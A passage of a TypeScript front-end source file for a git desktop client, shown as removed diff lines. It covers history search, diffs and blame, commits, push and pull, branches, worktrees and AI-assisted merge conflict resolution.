(h.loading && !reset) return; - if (slowSearchTimer) clearTimeout(slowSearchTimer); - patchHistory({ loading: true, slowSearch: false, ...(reset ? { error: null } : {}) }); - slowSearchTimer = setTimeout(() => patchHistory({ slowSearch: true }), 5000); - try { - const skip = reset ? 0 : h.commits.length; - const page = await invoke('repo.history', repo.path, { ref: null, skip, limit: HISTORY_PAGE, path: h.path, search: h.freeText.trim() || null, follow: !!h.path, query: isEmptyHistoryQuery(h.query) ? null : h.query, verifySignatures: store.get().settings?.historyVerifySignatures ?? false }); - if (store.get().currentRepo?.path !== repo.path) return; - const commits = reset ? page.commits : [...h.commits, ...page.commits]; - const stillSelected = store.get().history.selectedShas.filter((sha) => commits.some((c) => c.sha === sha)); - patchHistory({ commits, hasMore: page.hasMore, loading: false, slowSearch: false, error: null, selectedShas: stillSelected, details: stillSelected.length === 1 ? store.get().history.details : null, stale: store.get().history.stale && !(reset && h.stale) }); - if (store.get().view === 'history' && stillSelected.length === 0 && commits.length) selectCommit(commits[0].sha); - else if (stillSelected.length === 1 && reset) void loadCommitDetails(stillSelected[0]); - } catch (err) { - // A newer history request superseded this one (the main process aborts the older git run); the newer call owns the loading state. - if (err instanceof ApiError && err.code === 'cancelled') return; - patchHistory({ loading: false, slowSearch: false, error: errorMessage(err) }); - showToast({ kind: 'error', title: 'Could not load history', message: errorMessage(err) }); - } finally { - if (slowSearchTimer) { - clearTimeout(slowSearchTimer); - slowSearchTimer = null; - } - } -} - -/** Validates a `regex:` filter client-side (balanced brackets/parens only; git reports anything subtler once it runs). */ -function validateHistoryQuery(query: HistoryQuery): string | null { - return query.diffRegex ? checkRegexBrackets(query.diffRegex) : null; -} - -/** Parses the search box text, updates the popover-synced query state, and (debounced) reloads history. Cancels the previous in-flight search (the main process aborts it once a new `repo.history` call arrives). */ -export function setHistorySearch(search: string): void { - const { query, freeText } = parseHistoryQuery(search); - const queryError = validateHistoryQuery(query); - patchHistory({ search, query, freeText, queryError }); - if (searchTimer) clearTimeout(searchTimer); - if (queryError) return; // inline error only; never runs git or shows a loading state - searchTimer = setTimeout(() => void loadHistory(true), 400); -} -let searchTimer: ReturnType | null = null; - -/** Applies the filter popover's structured query, keeping the text box in sync (round-trips through formatHistoryQuery). */ -export function setHistoryQuery(query: HistoryQuery): void { - setHistorySearch(formatHistoryQuery(query, store.get().history.freeText)); -} - -export function clearHistoryFilter(): void { - setHistorySearch(''); -} - -/** "Search history for selection": prefills a `content:` filter from selected diff text and switches to the History tab. */ -export function searchHistoryForSelection(text: string): void { - const trimmed = text.trim(); - if (!trimmed) return; - setView('history'); - setHistoryQuery({ ...EMPTY_HISTORY_QUERY, content: trimmed }); - document.getElementById('history-search')?.focus(); -} - -// --------------------------------------------------------------------------- -// File history (History tab scoped to one file, following renames) -// --------------------------------------------------------------------------- - -export function openFileHistory(path: string): void { - patchHistory({ path, pathHistory: null, commits: [], hasMore: false, selectedShas: [], details: null, detailsLoading: false, selectedFile: null }); - setView('history'); - void loadHistory(true); - void loadPathHistory(path); -} - -export function clearFileHistory(): void { - const h = store.get().history; - if (!h.path) return; - patchHistory({ path: null, pathHistory: null, commits: [], hasMore: false, selectedShas: [], details: null, detailsLoading: false, selectedFile: null }); - void loadHistory(true); -} - -async function loadPathHistory(path: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - const entries = await invoke('repo.pathHistory', repo.path, path); - if (store.get().history.path !== path) return; - patchHistory({ pathHistory: entries }); - const h = store.get().history; - if (h.selectedShas.length === 1) void loadCommitDetails(h.selectedShas[0]); - } catch { - // Best-effort: without a rename map, file-history selection falls back to the current path. - } -} - -// --------------------------------------------------------------------------- -// Diff -// --------------------------------------------------------------------------- - -/** path|rev of the file the blame gutter was last computed for; used to auto-turn it off when the user switches files/commits. */ -let lastBlameTarget: string | null = null; -const blameCache = new Map(); - -export function clearBlameCache(): void { - blameCache.clear(); -} - -export async function loadDiff(force = false): Promise { - const s = store.get(); - const repo = s.currentRepo; - if (!repo) { - patchDiff({ key: null, diff: null, loading: false, error: null, selectedLines: null, blame: null, blameOn: false, highlightTerm: null, revealLine: null }); - return; - } - const opts = { hideWhitespace: s.settings?.diffHideWhitespace ?? false }; - let key: string | null = null; - let fetcher: (() => Promise) | null = null; - let selectedLines: string[] | null = null; - /** First-matching-line highlight for an active content/regex history search. */ - let highlightTerm: { text: string; regex: boolean } | null = null; - /** Set only for views where blame is a supported entry point (Changes and History). */ - let blameTarget: { path: string; rev: string | null } | null = null; - /** The Changes tab's selected working-tree path, if any; used to capture a conflicted file's pre-resolution content the first time it loads (see captureConflictOriginal). */ - let workingPath: string | null = null; - if (s.review.open && s.review.run) { - const run = s.review.run; - const f = s.review.selectedPath; - if (f) { - key = `review:${run.id}:${f}`; - const target = run.target; - fetcher = target.kind === 'pr' ? () => invoke('gh.pr.fileDiff', repo.path, target.number, f, opts) : () => invoke('repo.diff.range', repo.path, target.baseSha, target.headSha, f, opts); - } - } else if (s.view === 'changes') { - if (s.changes.selectedPaths.length === 1) { - const path = s.changes.selectedPaths[0]; - key = `working:${path}`; - fetcher = () => invoke('repo.diff.working', repo.path, path, opts); - selectedLines = s.changes.excluded.includes(path) ? [] : s.changes.partial[path] ?? null; - blameTarget = { path, rev: null }; - workingPath = path; - } - } else if (s.view === 'stashes') { - const stash = s.stashes.find((st) => st.sha === s.stashesView.selectedSha); - const f = s.stashesView.selectedFile; - if (stash && f) { - key = `stash:${stash.sha}:${f}`; - // Pass the SHA (not the positional stash@{N} ref): it stays valid even if another - // stash is pushed or dropped between selecting this row and fetching its diff. - fetcher = () => invoke('repo.diff.stash', repo.path, stash.sha, f, opts); - } - } else if (s.history.selectedShas.length === 1 && s.history.selectedFile) { - const sha = s.history.selectedShas[0]; - const f = s.history.selectedFile; - key = `commit:${sha}:${f}`; - fetcher = () => invoke('repo.commit.diff', repo.path, sha, f, opts); - blameTarget = { path: f, rev: sha }; - if (s.history.query.content) highlightTerm = { text: s.history.query.content, regex: !!s.history.query.contentRegex }; - else if (s.history.query.diffRegex) highlightTerm = { text: s.history.query.diffRegex, regex: true }; - } - - const blameTargetKey = blameTarget ? `${blameTarget.path}|${blameTarget.rev ?? ''}` : null; - if (blameTargetKey !== lastBlameTarget) { - lastBlameTarget = blameTargetKey; - if (store.get().diff.blameOn) patchDiff({ blameOn: false, blame: null, blameLoading: false }); - } - - if (store.get().diff.blameOn && blameTarget) { - const { path, rev } = blameTarget; - const ignoreWhitespace = s.settings?.blameIgnoreWhitespace ?? true; - key = `blame:${path}:${rev ?? 'wt'}:${ignoreWhitespace}`; - fetcher = async () => { - const cacheKey = `${repo.path}|${key}`; - let result = blameCache.get(cacheKey) ?? null; - if (!result) { - patchDiff({ blameLoading: true }); - try { - result = await invoke('repo.blame', repo.path, path, rev, ignoreWhitespace); - blameCache.set(cacheKey, result); - } finally { - patchDiff({ blameLoading: false }); - } - } - if (store.get().diff.key === key) patchDiff({ blame: result }); - if (result.tooLarge) return { kind: 'too-large', lineCount: result.lineCount, bytes: 0 }; - if (result.binary) return { kind: 'binary', oldBytes: null, newBytes: null }; - if (result.content === null) return { kind: 'empty', reason: 'Could not load file content for blame.' }; - return buildFileViewDiff(path, result.content); - }; - } else if (store.get().diff.blame) { - patchDiff({ blame: null }); - } - - if (!key || !fetcher) { - patchDiff({ key: null, diff: null, loading: false, error: null, selectedLines: null, blame: null, highlightTerm: null, revealLine: null }); - return; - } - key += `|ws=${opts.hideWhitespace}`; - if (!force && s.diff.key === key && (s.diff.diff || s.diff.loading) && s.diff.highlightTerm?.text === highlightTerm?.text) return; - const samePath = s.diff.key !== null && s.diff.key.split('|')[0] === key.split('|')[0]; - patchDiff({ key, loading: !samePath || !s.diff.diff, error: null, selectedLines, diff: samePath ? s.diff.diff : null, highlightTerm, ...(samePath ? {} : { revealLine: null }) }); - try { - const diff = await fetcher(); - if (store.get().diff.key !== key) return; - patchDiff({ diff, loading: false, error: null }); - if (workingPath && diff.kind === 'conflict') captureConflictOriginal(workingPath, diff.content); - } catch (err) { - if (store.get().diff.key !== key) return; - patchDiff({ diff: null, loading: false, error: errorMessage(err) }); - } -} - -export function toggleBlame(): void { - patchDiff({ blameOn: !store.get().diff.blameOn, activeBlameId: null }); - void loadDiff(true); -} - -export function setActiveBlame(id: string | null): void { - const current = store.get().diff.activeBlameId; - patchDiff({ activeBlameId: current === id ? null : id }); -} - -/** Re-blames the file as of the commit before `hunk`'s commit, using the path it had back then. */ -export function blameAtParent(hunk: BlameHunk): void { - const s = store.get(); - if (!hunk.previousSha) return; - // Pre-sync the "last blamed target" so the loadDiff() triggered by the navigation below doesn't - // treat this as a plain file/commit switch and turn blame back off. - lastBlameTarget = `${hunk.originalPath}|${hunk.previousSha}`; - patchDiff({ activeBlameId: null, blameOn: true }); - if (s.view === 'history') { - patchHistory({ selectedShas: [hunk.previousSha], selectedFile: hunk.originalPath, details: null }); - void loadCommitDetails(hunk.previousSha); - } else { - // Changes tab: blame stays on the working tree; there is no "commit" to move the whole view to, - // so jump to History at the parent commit instead, which is where "blame at a commit" belongs. - setView('history'); - selectCommit(hunk.previousSha); - patchHistory({ selectedFile: hunk.originalPath }); - } -} - -export function openCommitFromBlame(hunk: BlameHunk): void { - if (hunk.sha === ZERO_SHA) return; - setView('history'); - selectCommit(hunk.sha); -} - -// --------------------------------------------------------------------------- -// File history actions: view a past version, restore it to the working tree. -// --------------------------------------------------------------------------- - -export function openFileAtCommit(path: string, sha: string): void { - openDialog({ kind: 'file-at-commit', path, sha }); -} - -export function requestRestoreFile(path: string, sha: string): void { - const repo = store.get().currentRepo; - if (!repo) return; - const dirty = !!store.get().status?.files.some((f) => f.path === path); - let stashFirst = false; - openDialog({ - kind: 'confirm', - title: 'Restore this version?', - message: `The working copy of "${path}" will be overwritten with its content from ${sha.slice(0, 7)}.${dirty ? ' You have uncommitted changes to this file.' : ''}`, - confirmLabel: 'Restore', - checkbox: dirty ? { label: 'Stash my current changes to this file first', onChange: (v) => { stashFirst = v; } } : undefined, - onConfirm: () => restoreFileVersion(path, sha, dirty && stashFirst), - }); -} - -export async function restoreFileVersion(path: string, sha: string, stashFirst: boolean): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - if (stashFirst) await invoke('git.stash.push', repo.path, `Stashed before restoring ${path}`, true, [path]); - const result = await invoke('repo.fileAtCommit', repo.path, sha, path); - if (result.content === null) { - showToast({ kind: 'error', title: 'Could not restore file', message: result.binary ? 'The file is binary.' : 'The file is too large to restore this way.' }); - return; - } - await invoke('repo.writeFile', repo.path, path, result.content); - showToast({ kind: 'success', title: `Restored ${path.split('/').pop()}`, message: `Reverted to its content at ${sha.slice(0, 7)}.` }); - await refreshStatus(); - if (stashFirst) await refreshStashes(); - if (store.get().view === 'changes') void loadDiff(true); - } catch (err) { - showError('Could not restore file', err); - } -} - -// --------------------------------------------------------------------------- -// Commit -// --------------------------------------------------------------------------- - -export function includedFiles(): WorkingFile[] { - const s = store.get(); - return (s.status?.files ?? []).filter((f) => !s.changes.excluded.includes(f.path)); -} - -export async function commit(): Promise { - const s = store.get(); - const gateOn = s.settings?.ai.reviewBeforeCommit && s.settings.ai.provider !== 'disabled' && !s.changes.committing; - if (gateOn) { - const run = await runPrecommitReviewForGate(); - const live = run ? run.findings.filter((f) => !f.dismissed) : []; - if (run && live.length) { - openDialog({ kind: 'precommit-review-gate', run, onCommitAnyway: () => { closeDialog(); void performCommit('default'); } }); - return; - } - } - await performCommit('default'); -} - -/** Shared by the normal commit button and the signing-failed dialog's Retry / Commit unsigned this time actions. */ -async function performCommit(signOverride: 'default' | 'unsigned'): Promise { - const s = store.get(); - const repo = s.currentRepo; - if (!repo || !s.status) return; - const files = includedFiles(); - if (!files.length && !s.changes.amend) return; - const summary = s.changes.summary.trim(); - const inProgressMerge = s.status.operation.kind === 'merge'; - if (!summary && !s.changes.amend && !inProgressMerge) return; - patchChanges({ committing: true }); - try { - const partialPatches: Record = {}; - for (const [path, keys] of Object.entries(s.changes.partial)) { - if (!files.some((f) => f.path === path)) continue; - const diff = await invoke('repo.diff.working', repo.path, path, { hideWhitespace: false }); - if (diff.kind !== 'text') continue; - const set = new Set(keys); - const patch = buildStagePatch({ oldPath: diff.oldPath, newPath: diff.newPath, hunks: diff.hunks }, (h, l) => set.has(`${h}:${l}`)); - if (patch) partialPatches[path] = patch; - } - const opts: CommitOptions = { - summary, - description: s.changes.description, - coAuthors: s.changes.showCoAuthors ? s.changes.coAuthors : [], - amend: s.changes.amend, - files: files.flatMap((f) => (f.oldPath ? [f.path, f.oldPath] : [f.path])), - partialPatches, - signOverride, - }; - const sha = await invoke('git.commit', repo.path, opts); - patchChanges({ summary: '', description: '', amend: false, committing: false, partial: {}, excluded: [] }); - patchDiff({ selectedLines: null }); - showToast({ kind: 'success', title: s.changes.amend ? 'Commit amended' : `Committed ${sha.slice(0, 7)}`, message: summary || undefined, action: s.changes.amend ? undefined : { label: 'Undo', onClick: () => void undoCommit() } }); - await refreshAll(); - if (store.get().view === 'history') await loadHistory(true); - else patchHistory({ commits: [], hasMore: false }); - } catch (err) { - patchChanges({ committing: false }); - const info = errorInfo(err); - if (info.code === 'signing-failed' || info.code === 'signing-key-missing') { - openDialog({ kind: 'signing-failed', error: info, onRetry: () => void performCommit('default'), onUnsigned: () => void performCommit('unsigned') }); - } else { - showError('Commit failed', err); - } - } -} - -export async function undoCommit(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - const status = store.get().status; - if (status?.branch.unborn) return; - const perform = async () => { - try { - const details = store.get().history.commits[0] ?? null; - await invoke('git.undoCommit', repo.path); - if (details) patchChanges({ summary: details.summary, description: details.body, coAuthors: details.coAuthors, showCoAuthors: details.coAuthors.length > 0 }); - await refreshAll(); - await loadHistory(true); - setView('changes'); - } catch (err) { - showError('Undo commit failed', err); - } - }; - const settings = store.get().settings; - const commitPushed = status && status.branch.ahead === 0 && status.branch.upstream !== null; - if (settings?.confirmUndoCommit && commitPushed) { - openDialog({ kind: 'confirm', title: 'Undo commit?', message: 'This commit has already been pushed. Undoing it will diverge your branch from the remote and require a force push.', confirmLabel: 'Undo commit', danger: true, onConfirm: perform }); - } else { - await perform(); - } -} - -export async function setAmend(amend: boolean): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - if (amend) { - const last = store.get().history.commits[0] ?? (await invoke('repo.history', repo.path, { ref: null, skip: 0, limit: 1, path: null, search: null, follow: false })).commits[0]; - if (last) patchChanges({ amend: true, summary: last.summary, description: last.body, coAuthors: last.coAuthors, showCoAuthors: last.coAuthors.length > 0 }); - else patchChanges({ amend: true }); - } else { - patchChanges({ amend: false, summary: '', description: '' }); - } -} - -export async function generateCommitMessage(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - const files = includedFiles(); - if (!files.length) { - showToast({ kind: 'warning', title: 'Select at least one file to describe' }); - return; - } - store.set({ aiCommitBusy: true }); - try { - const msg = await invoke('ai.commitMessage', repo.path, files.map((f) => f.path)); - patchChanges({ summary: msg.summary, description: msg.description }); - } catch (err) { - showError('Could not generate a commit message', err); - } finally { - store.set({ aiCommitBusy: false }); - } -} - -// --------------------------------------------------------------------------- -// Sync: fetch / pull / push -// --------------------------------------------------------------------------- - -export async function fetchRemote(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - await runOperation('Fetch', () => invoke('git.fetch', repo.path, null)); - void loadCurrentPullRequest(true); -} - -export async function pull(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - const outcome = await runOperation('Pull', () => invoke('git.pull', repo.path)); - if (outcome?.status === 'conflicts') reportOutcome(outcome, 'Pull'); - else if (outcome?.status === 'complete') showToast({ kind: 'success', title: 'Pulled latest changes' }); - void loadCurrentPullRequest(true); -} - -export async function push(force = false): Promise { - const s = store.get(); - const repo = s.currentRepo; - if (!repo || !s.status) return; - const branch = s.status.branch; - if (branch.behind > 0 && !force) { - if (s.settings?.confirmForcePush !== false) { - openDialog({ kind: 'force-push' }); - return; - } - force = true; - } - const setUpstream = !branch.upstream || branch.upstreamGone; - const remote = s.remotes.find((r) => r.name === 'origin')?.name ?? s.remotes[0]?.name ?? null; - if (!remote) { - openDialog({ kind: 'publish' }); - return; - } - const result = await runOperation(force ? 'Force push' : 'Push', () => invoke('git.push', repo.path, { force, setUpstream, remote: setUpstream ? remote : null, branch: null, tags: false }), { silent: true }); - if (result === undefined) { - // runOperation swallowed the error silently; re-run to obtain it for classification. - return; - } - showToast({ kind: 'success', title: setUpstream ? `Published ${branch.name}` : 'Pushed' }); - void loadCurrentPullRequest(true); -} - -export async function pushWithErrorHandling(force = false): Promise { - const s = store.get(); - const repo = s.currentRepo; - if (!repo || !s.status) return; - const branch = s.status.branch; - if (branch.behind > 0 && !force) { - if (s.settings?.confirmForcePush !== false) { - openDialog({ kind: 'force-push' }); - return; - } - force = true; - } - const setUpstream = !branch.upstream || branch.upstreamGone; - const remote = s.remotes.find((r) => r.name === 'origin')?.name ?? s.remotes[0]?.name ?? null; - if (!remote) { - openDialog({ kind: 'publish' }); - return; - } - store.set({ operation: force ? 'Force push' : 'Push' }); - try { - await invoke('git.push', repo.path, { force, setUpstream, remote: setUpstream ? remote : null, branch: null, tags: false }); - showToast({ kind: 'success', title: setUpstream ? `Published ${branch.name}` : 'Pushed' }); - void loadCurrentPullRequest(true); - } catch (err) { - const info = errorInfo(err); - if (info.code === 'non-fast-forward') { - await refreshStatus(); - openDialog({ kind: 'force-push' }); - } else if (info.code === 'protected-branch') { - showError('Push rejected by branch protection', err); - } else { - showError('Push failed', err); - } - } finally { - store.set({ operation: null }); - void refreshAll(); - } -} - -// --------------------------------------------------------------------------- -// Branches -// --------------------------------------------------------------------------- - -export function hasUncommittedChanges(): boolean { - const status = store.get().status; - return !!status && status.files.length > 0; -} - -/** Opens the repository at `path` (registering it if it is a worktree GitGood has not seen before). */ -export async function openWorktreeAtPath(path: string): Promise { - try { - const info = await invoke('repo.open', path); - closeAllDialogs(); - await openRepository(info); - } catch (err) { - showError('Could not open that worktree', err); - } -} - -/** Reports a "branch is checked out in another worktree" error with an action to open it; returns true when it handled the error. */ -function reportWorktreeConflict(err: unknown, branchName: string): boolean { - const info = errorInfo(err); - if (info.code !== 'worktree-branch-in-use') return false; - const path = extractWorktreePathFromError(info.message); - showToast( - { - kind: 'warning', - title: `${branchName} is checked out in another worktree`, - message: path ?? info.message, - action: path ? { label: 'Open that worktree', onClick: () => void openWorktreeAtPath(path) } : undefined, - }, - 12000, - ); - return true; -} - -async function withUncommittedChanges(targetLabel: string, perform: (strategy: UncommittedChangesStrategy) => Promise): Promise { - const settings = store.get().settings; - const strategy = settings?.uncommittedChangesStrategy ?? 'ask'; - if (!hasUncommittedChanges()) { - await perform('move'); - return; - } - if (strategy === 'ask') { - openDialog({ kind: 'uncommitted-changes', targetLabel, proceed: perform }); - return; - } - await perform(strategy); -} - -export async function checkoutBranch(branch: Branch): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - if (branch.isCurrent) return; - await withUncommittedChanges(branch.name, async (strategy) => { - closeAllDialogs(); - store.set({ operation: `Switching to ${branch.name}`, popover: null }); - try { - if (branch.kind === 'remote') await invoke('git.checkoutRemoteBranch', repo.path, branch.name, strategy); - else await invoke('git.checkout', repo.path, branch.name, strategy); - patchChanges({ summary: '', description: '', amend: false }); - await refreshAll(); - await loadHistory(true); - void loadCurrentPullRequest(true); - } catch (err) { - const info = errorInfo(err); - if (info.code === 'local-changes-overwritten' && strategy === 'move') { - openDialog({ kind: 'uncommitted-changes', targetLabel: branch.name, proceed: (st) => checkoutBranchWith(branch, st) }); - } else if (!reportWorktreeConflict(err, branch.name)) { - showError(`Could not switch to ${branch.name}`, err); - } - } finally { - store.set({ operation: null }); - } - }); -} - -async function checkoutBranchWith(branch: Branch, strategy: UncommittedChangesStrategy): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - closeAllDialogs(); - store.set({ operation: `Switching to ${branch.name}` }); - try { - if (branch.kind === 'remote') await invoke('git.checkoutRemoteBranch', repo.path, branch.name, strategy); - else await invoke('git.checkout', repo.path, branch.name, strategy); - await refreshAll(); - await loadHistory(true); - } catch (err) { - if (!reportWorktreeConflict(err, branch.name)) showError(`Could not switch to ${branch.name}`, err); - } finally { - store.set({ operation: null }); - } -} - -export async function createBranch(name: string, startPoint: string | null, checkout = true): Promise { - const repo = store.get().currentRepo; - if (!repo) return false; - let ok = false; - await withUncommittedChanges(name, async (strategy) => { - closeAllDialogs(); - store.set({ operation: `Creating ${name}` }); - try { - await invoke('git.branch.create', repo.path, name, startPoint, checkout, strategy); - ok = true; - await refreshAll(); - await loadHistory(true); - void loadCurrentPullRequest(true); - } catch (err) { - const info = errorInfo(err); - if (info.code === 'local-changes-overwritten') { - openDialog({ kind: 'uncommitted-changes', targetLabel: name, proceed: async (st) => { await invoke('git.branch.create', repo.path, name, startPoint, checkout, st); await refreshAll(); } }); - } else if (!reportWorktreeConflict(err, name)) showError(`Could not create branch ${name}`, err); - } finally { - store.set({ operation: null }); - } - }); - return ok; -} - -export async function renameBranch(oldName: string, newName: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - await invoke('git.branch.rename', repo.path, oldName, newName); - closeDialog(); - await refreshAll(); - } catch (err) { - showError('Could not rename branch', err); - } -} - -export async function deleteBranch(branch: Branch, deleteRemote: boolean): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - if (branch.kind === 'remote') { - const slash = branch.name.indexOf('/'); - await invoke('git.branch.deleteRemote', repo.path, branch.name.slice(0, slash), branch.name.slice(slash + 1)); - } else { - await invoke('git.branch.delete', repo.path, branch.name, deleteRemote); - } - closeDialog(); - showToast({ kind: 'success', title: `Deleted ${branch.name}` }); - await refreshAll(); - } catch (err) { - showError('Could not delete branch', err); - } -} - -export async function mergeBranch(branch: string, squash: boolean): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - closeAllDialogs(); - const outcome = await runOperation(squash ? 'Squash merge' : 'Merge', () => invoke('git.merge', repo.path, branch, squash)); - if (outcome?.status === 'complete') { - if (squash) { - patchChanges({ summary: `Squashed commit of ${branch}`, description: '' }); - showToast({ kind: 'success', title: `Squashed ${branch}`, message: 'Review the staged changes and commit them.' }); - setView('changes'); - } else { - store.set({ lastSuccessfulMerge: { branch, at: Date.now() } }); - showToast({ kind: 'success', title: `Merged ${branch} into ${store.get().status?.branch.name ?? 'current branch'}` }); - await loadHistory(true); - } - } else reportOutcome(outcome, 'Merge'); -} - -export async function rebaseOnto(branch: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - closeAllDialogs(); - const outcome = await runOperation('Rebase', () => invoke('git.rebase', repo.path, branch)); - if (outcome?.status === 'complete') { - showToast({ kind: 'success', title: `Rebased onto ${branch}` }); - await loadHistory(true); - } else reportOutcome(outcome, 'Rebase'); -} - -export async function updateFromDefaultBranch(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - const outcome = await runOperation('Update from default branch', () => invoke('git.updateFromDefaultBranch', repo.path)); - reportOutcome(outcome, 'Update'); - if (outcome?.status === 'complete') await loadHistory(true); -} - -// --------------------------------------------------------------------------- -// Worktrees -// --------------------------------------------------------------------------- - -export async function addWorktree(opts: AddWorktreeOptions): Promise { - const repo = store.get().currentRepo; - if (!repo) return false; - try { - const info = await invoke('git.worktree.add', repo.path, opts); - closeAllDialogs(); - showToast({ kind: 'success', title: `Worktree added at ${info.path}` }); - await openRepository(info); - return true; - } catch (err) { - if (!reportWorktreeConflict(err, opts.branch ?? opts.newBranch ?? '')) showError('Could not add worktree', err); - return false; - } -} - -export async function removeWorktree(worktree: Worktree, force: boolean): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - await invoke('git.worktree.remove', repo.path, worktree.path, force); - closeDialog(); - showToast({ kind: 'success', title: 'Worktree removed' }); - const list = store.get().repos; - if (store.get().currentRepo?.path === worktree.path) { - const next = list.filter((r) => !r.missing && r.path !== worktree.path).sort((a, b) => b.lastOpened - a.lastOpened)[0]; - if (next) await openRepository(next); - } - await invoke('repos.refreshIndicators').catch(() => undefined); - } catch (err) { - showError('Could not remove worktree', err); - } -} - -export async function lockWorktree(worktree: Worktree, locked: boolean, reason: string | null): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - await invoke('git.worktree.lock', repo.path, worktree.path, locked, reason); - closeDialog(); - } catch (err) { - showError(locked ? 'Could not lock worktree' : 'Could not unlock worktree', err); - } -} - -export async function pruneWorktrees(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - try { - await invoke('git.worktree.prune', repo.path); - closeDialog(); - showToast({ kind: 'success', title: 'Pruned worktrees' }); - } catch (err) { - showError('Could not prune worktrees', err); - } -} - -export async function openInEditorAt(path: string): Promise { - try { - await invoke('app.openInEditor', path, null); - } catch (err) { - showToast({ kind: 'error', title: 'Could not open editor', message: errorMessage(err) }); - } -} - -export async function openInShellAt(path: string): Promise { - try { - await invoke('app.openInShell', path); - } catch (err) { - showToast({ kind: 'error', title: 'Could not open terminal', message: errorMessage(err) }); - } -} - -export async function showInFolderAt(path: string): Promise { - await invoke('app.openPath', path); -} - -// --------------------------------------------------------------------------- -// In-progress operations (merge / rebase / cherry-pick / revert) -// --------------------------------------------------------------------------- - -export async function continueOperation(): Promise { - const s = store.get(); - const repo = s.currentRepo; - if (!repo || !s.status) return; - const kind = s.status.operation.kind; - const method = kind === 'rebase' ? 'git.rebase.continue' : kind === 'cherry-pick' ? 'git.cherryPick.continue' : kind === 'revert' ? 'git.revert.continue' : 'git.merge.continue'; - const outcome = await runOperation(`Continue ${kind}`, () => invoke(method, repo.path)); - if (outcome?.status === 'complete') { - closeAllDialogs(); - showToast({ kind: 'success', title: `${kind === 'merge' ? 'Merge' : kind === 'rebase' ? 'Rebase' : kind === 'cherry-pick' ? 'Cherry-pick' : 'Revert'} complete` }); - await loadHistory(true); - } else if (outcome?.status === 'conflicts') { - showToast({ kind: 'warning', title: 'More conflicts to resolve' }); - } -} - -export async function abortOperation(): Promise { - const s = store.get(); - const repo = s.currentRepo; - if (!repo || !s.status) return; - const kind = s.status.operation.kind; - const method = kind === 'rebase' ? 'git.rebase.abort' : kind === 'cherry-pick' ? 'git.cherryPick.abort' : kind === 'revert' ? 'git.revert.abort' : 'git.merge.abort'; - openDialog({ - kind: 'confirm', - title: `Abort ${kind}?`, - message: `Conflict resolutions made during this ${kind} will be discarded and the branch returns to its pre-${kind} state.`, - confirmLabel: `Abort ${kind}`, - danger: true, - onConfirm: async () => { - await runOperation(`Abort ${kind}`, () => invoke(method, repo.path)); - closeAllDialogs(); - await loadHistory(true); - }, - }); -} - -export async function skipRebaseCommit(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - const outcome = await runOperation('Skip commit', () => invoke('git.rebase.skip', repo.path)); - if (outcome?.status === 'complete') closeAllDialogs(); -} - -// --------------------------------------------------------------------------- -// Conflicts -// --------------------------------------------------------------------------- - -export async function resolveWithAi(path: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - await ensureCheckTrustPrompted(repo.path); - store.set({ aiBusy: true }); - try { - const result = await invoke('ai.resolve', repo.path, path); - handleResolution(result); - await recordConflictResolution(repo.path, result); - } catch (err) { - showError('AI resolution failed', err); - } finally { - store.set({ aiBusy: false }); - await refreshStatus(); - await loadDiff(true); - await refreshConflictExamples(repo.path); - } -} - -export async function resolveAllWithAi(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - await ensureCheckTrustPrompted(repo.path); - store.set({ aiBusy: true }); - try { - const results = await invoke('ai.resolveAll', repo.path); - await Promise.all(results.map((r) => recordConflictResolution(repo.path, r))); - reportBatchResolution(results); - } catch (err) { - showError('AI resolution failed', err); - } finally { - store.set({ aiBusy: false }); - await refreshStatus(); - await loadDiff(true); - await refreshConflictExamples(repo.path); - } -} - -/** "Resolve remaining like ``…": resolves every remaining conflicted file guided by the manual resolutions recorded so far in this operation. */ -export async function resolveAllGuided(): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - await ensureCheckTrustPrompted(repo.path); - store.set({ aiBusy: true }); - try { - const results = await invoke('ai.resolveAllGuided', repo.path); - await Promise.all(results.map((r) => recordConflictResolution(repo.path, r))); - reportBatchResolution(results, results.find((r) => r.guidedBy.length)?.guidedBy ?? []); - } catch (err) { - showError('AI resolution failed', err); - } finally { - store.set({ aiBusy: false }); - await refreshStatus(); - await loadDiff(true); - await refreshConflictExamples(repo.path); - } -} - -function reportBatchResolution(results: ConflictResolutionResult[], guidedBy: string[] = []): void { - const ok = results.filter((r) => r.ok); - const failed = results.filter((r) => !r.ok); - if (ok.length) { - const guidedNote = guidedBy.length ? ` guided by ${guidedBy.join(', ')}` : ''; - showToast( - { - kind: 'success', - title: `AI resolved ${ok.length} file${ok.length === 1 ? '' : 's'}${guidedNote}`, - message: ok.some((r) => r.blocks.some((b) => b.confidence === 'low')) ? 'Some resolutions have low confidence; review them before committing.' : undefined, - action: { label: 'Undo all', onClick: () => void undoResolutions(ok) }, - }, - 12000, - ); - } - for (const f of failed) showToast({ kind: 'error', title: `Could not resolve ${f.path}`, message: f.error ?? undefined }, 10000); -} - -function handleResolution(result: ConflictResolutionResult): void { - if (!result.ok) { - showToast({ kind: 'error', title: `Could not resolve ${result.path}`, message: result.error ?? undefined }, 10000); - return; - } - const low = result.blocks.filter((b) => b.confidence === 'low'); - showToast( - { - kind: low.length ? 'warning' : 'success', - title: `Resolved ${result.path}`, - message: low.length ? `${low.length} of ${result.blocks.length} block${result.blocks.length === 1 ? '' : 's'} flagged low confidence: ${low[0].rationale}` : result.blocks.map((b) => b.rationale).filter(Boolean).slice(0, 2).join(' '), - action: { label: 'Undo', onClick: () => void undoResolutions([result]) }, - }, - 12000, - ); -} - -export async function 